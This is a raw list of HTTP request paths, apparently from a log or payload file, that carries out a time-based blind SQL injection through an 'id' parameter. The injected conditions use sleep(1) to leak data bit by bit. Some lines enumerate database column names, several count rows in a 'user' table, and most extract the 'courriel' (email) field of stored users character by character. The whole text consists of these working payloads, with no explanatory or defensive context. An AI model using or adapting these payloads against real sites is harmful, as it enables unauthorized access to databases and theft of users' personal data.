/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((select count(*) from user) = 1,sleep(1),0)
/?id=1-if((select count(*) from user) = 2,sleep(1),0)
/?id=1-if((select count(*) from user) = 3,sleep(1),0)
/?id=1-if((select count(*) from user) = 1,sleep(1),0)
/?id=1-if((select count(*) from user) = 2,sleep(1),0)
/?id=1-if((select count(*) from user) = 3,sleep(1),0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
